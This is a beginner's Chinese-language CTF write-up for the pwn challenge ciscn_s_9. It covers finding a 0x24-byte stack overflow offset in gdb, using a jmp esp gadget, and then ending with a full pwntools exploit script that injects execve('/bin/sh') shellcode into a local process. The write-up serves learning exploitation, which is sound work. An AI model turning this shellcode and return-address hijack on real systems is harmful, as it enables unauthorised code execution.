本人是小白,文章仅用于做笔记。欢迎批评指正。
题目来自bilibili星盟安全视频,题目链接如下
链接:https://pan.baidu.com/s/15md86f6uxs6LBzqg3OORgA?pwd=6666
提取码:6666
老规矩先看下文件类型和保护
唔翻车了,是因为python2没有安装pwntools 没有办法,我比较笨,只能安装了。
参考的是这篇文章。
(4条消息) ubuntu20.04 python2 pwntools 环境搭建_python2环境搭建 ubuntu_cwzsquare的博客-CSDN博客
经过半天后:
不可执行保护没有开启,就是说可以向栈上写shellcode
程序的执行过程?
先看下main函数
哦,去了pwn执行
那可就看下pwn
视频上下断点至leave也就是pwn最后
值得注意的是下边的hint函数:jmp esp
那就是说可以跳转到栈上执行,好大体思路有了。
看下ida分析的对不对
去gdb调试下
gdb ciscn_s_9
下断点至
0x0804854F
b *0x0804854F
r运行后
用python
'a'*0x20+'b'*0x4
打印24个字母,四个b用来覆盖ebp,回车后可以查看ebp发现是4个b还有一个\n(回车)
这个回车是我们输入的,但是在写脚本的时候是没有回车的,所以0x24个字节可以覆盖到ebp再往后就是返回地址了。
他这个栈大概是这样分布的,我们最后要写成这个样子。
我们先填充shellcode,然后将返回地址覆盖成jmp esp这条指令的地址,那也就是说在返回的时候会执行esp所指向的指令,这个时候esp在返回地址下边,我们想让他执行shellcode就要让他往上跑,就是经过之前的分析,我们知道他距离shellcode是0x28,所以2我们在返回地址后边写
sub esp,0x28;call esp
这样这道题差不多就就解决了,但是我比较笨,抄答案没有抄写对,视频给的答案是远程连接的,我不会,我就改成本地的了,视频中的shellcode在本地不知道为啥打不通,还好师教我动态调试,我才知道是shellcode的问题
经过痛苦的折磨后。
终于:
from pwn import *
context(os='linux',terminal = ['tmux', 'sp', '-h'])p = process('./ciscn_s_9')
#pause()
#shellcode ='''
#xor eax,eax
#push 0x0068732f
#push 0x6e69622f
#mov ebx,esp
#mov al,0xb
#int 0x80
#'''
shellcode='''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
xor eax,eax
mov al,0xb
int 0x80
'''
shellcode =asm(shellcode) #使用shellcraft.sh打不通,估计是因为太长了
shell='''sub esp,0x28;call esp'''
shell =asm(shell)
print(shell)
p.recvuntil(b'>\n')
payload = shellcode.ljust(0x24,b"\x90")
payload += p32(0x08048554) #jmp esp
payload += shell#gdb.attach(p)
p.sendline(payload)
p.interactive()
~
~
~
~
该题主要是不像上一道题可以直接call到栈中执行,而是需要我们自己调整ip
主要思路就是将返回地址覆盖位jmp esp指令的地址,再在该指令后边写指令使esp指向刚刚填写的shellcode,就是减0x28,仅仅执行时不会执行的,该需要call下。这样就可以打通了。
而sub esp,0x28;call esp好像正好是4个字节,也就是一层栈。所以减0x28,可以跳转到刚刚写的shellcode,就可以打通了。